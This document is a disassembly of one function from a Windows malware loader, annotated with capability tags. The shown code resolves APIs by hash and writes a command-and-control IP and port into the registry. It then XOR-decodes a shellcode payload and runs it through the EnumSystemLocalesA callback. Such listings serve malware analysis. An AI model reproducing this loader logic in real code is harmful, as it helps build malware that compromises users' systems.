Function at 0x14000469c
Capabilities:
Allocate or change rwx memory
Delete registry value
Encode data using xor
Execute shellcode via indirect call
Execute shellcode via windows callback function
Set registry value
Terminate process

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x68]
sub rsp, 0x168
lea rcx, [0x1400c61a0]
call fcn.140004b10
mov ecx, 0x97410f58
call fcn.1400043f0
mov ecx, 0xd5206133
mov r14, rax
call fcn.1400043f0
mov ecx, 0x3a2fe6bb
mov rbx, rax
call fcn.1400043f0
mov r13d, 0xef64a41e
mov rdi, rax
mov ecx, r13d
call fcn.1400043f0
xor r15d, r15d
mov ecx, 0xcb9765a0
mov qword [rbp + 0xc0], r15
mov rsi, rax
call fcn.1400043f0
lea r8d, [r15 + 0x40]
mov dword [rbp + 0xb0], r15d
lea r9, [rbp + 0xb0]
mov qword [0x1400c61b0], rax
mov rcx, rax
lea r15d, [r8 - 0x34]
mov edx, r15d
call rsi
call rdi
mov rdx, qword [0x1400c61b0]
lea r8, [0x1400c61b8]
mov rcx, rax
mov r9d, r15d
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x20], rax
call rbx
lea rax, [0x1400044ec]
mov qword [0x1400c61a2], rax
call rdi
mov rdx, qword [0x1400c61b0]
lea r8, [0x1400c61a0]
mov rcx, rax
mov r9d, r15d
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x20], rax
call r14
mov r8d, dword [rbp + 0xb0]
lea r9, [rbp + 0xb0]
mov rcx, qword [0x1400c61b0]
mov edx, r15d
call rsi
mov ecx, 0x1ede5967
call fcn.1400043f0
mov ecx, r13d
mov qword [rbp + 0xc0], rax
mov r12, rax
call fcn.1400043f0
mov ebx, 0x104
mov qword [rbp + 0xc8], rax
mov r8d, ebx
lea rcx, [rsp + 0x50]
xor edx, edx
mov r13, rax
call fcn.140008320
mov r8d, ebx
lea rdx, [rsp + 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movzx eax, word [0x1400385f0]
mov r9d, 0x20006
movsd xmm0, qword [str.SelfPath]
xor r8d, r8d
mov cl, byte [0x1400385e0]
mov word [rsp + 0x38], ax
mov al, byte [0x1400385f2]
mov byte [rsp + 0x3a], al
lea rax, [rbp + 0xb0]
movsd qword [rsp + 0x40], xmm0
movsd xmm0, qword [str.IpDateInfo]
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x48], cl
movsd qword [rsp + 0x30], xmm0
lea rdx, str.Console
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor r15d, r15d
test eax, eax
jne 0x1400048f2
mov rcx, qword [rbp + 0xb0]
lea rdx, str.IpDate
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, qword [rbp + 0xb0]
lea rdx, [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, qword [rbp + 0xb0]
lea rax, [rsp + 0x50]
mov dword [rsp + 0x28], ebx
lea r9d, [r15 + 1]
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, str.i:154.82.85.12p:5689
or rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], r15w
jne 0x1400048b5
add eax, eax
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x28], eax
mov r9d, 3
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, qword [rbp + 0xb0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp + 0xb0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, r15
mov rdi, r15
mov qword [rbp + 0xb0], rbx
movabs rax, 0x97b425ed097b425f
mul rdi
shr rdx, 4
imul rcx, rdx, 0x1b
cmp rdi, rcx
jne 0x140004939
lea rdx, [0x14003dbc0]
mov rcx, rbx
add rdx, rdi
mov r8d, dword [rdx + 0x17]
call fcn.140003c10
mov rbx, rax
mov qword [rbp + 0xb0], rax
inc rdi
cmp rdi, 0x8675a
jb 0x1400048ff
test rbx, rbx
je 0x140004960
mov rdx, rbx
lea rcx, [rbp + 0xb0]
call fcn.140003d14
mov rbx, qword [rbp + 0xb0]
mov edx, 0x16
mov rdi, rbx
mov r14, r15
lea ecx, [rdx + 0x2a]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rsi, rax
test rbx, rbx
je 0x1400049db
movups xmm0, xmmword [rdi]
mov r12d, dword [rdi + 0x10]
add r14, 0x16
movzx r13d, word [rdi + 0x14]
movups xmmword [rsp + 0x30], xmm0
test rsi, rsi
je 0x1400049c1
mov r8d, 0x42
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalReAlloc]
movups xmm0, xmmword [rsp + 0x30]
mov rsi, rax
movups xmmword [rax + r14 - 0x16], xmm0
mov dword [rax + r14 - 6], r12d
mov word [rax + r14 - 2], r13w
mov rdi, qword [rdi + 0x20]
inc r15d
test rdi, rdi
jne 0x14000497c
mov r12, qword [rbp + 0xc0]
mov r13, qword [rbp + 0xc8]
mov rdi, qword [rbx + 0x20]
imul r14d, r15d, 0x16
xor r15d, r15d
jmp 0x140004a03
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, rdi
mov rdi, qword [rdi + 0x20]
test rdi, rdi
jne 0x1400049e8
test rsi, rsi
je 0x140004adb
cmp r14, 0x8675a
jae 0x140004adb
mov edi, 4
mov r8d, 0x3000
mov r9d, edi
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, r14
mov rdx, rsi
mov rcx, rax
mov rbx, rax
call fcn.140007ec0
mov r9d, edi
mov r8d, 0x1000
mov edi, 0x6d8d1
xor ecx, ecx
mov edx, edi
call r12
mov rcx, rbx
mov qword [0x1400c61c8], rax
mov rsi, rax
mov dword [0x1400c61ac], edi
call fcn.1400042f8
lea r8d, [rdi + 0xf]
mov rdx, rbx
mov rcx, rsi
call fcn.140007ec0
lea r9, [rbp + 0xb8]
mov dword [rbp + 0xb8], r15d
mov r8d, 0x40
mov edx, edi
mov rcx, rsi
call r13
mov rax, rsi
xor byte [rax], 0xd1
inc rax
sub rdi, 1
jne 0x140004aa3
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_EnumSystemLocalesA]
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x140004ad4
call fcn.14000412c
call fcn.140001b84
jmp 0x140004ad4
or ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]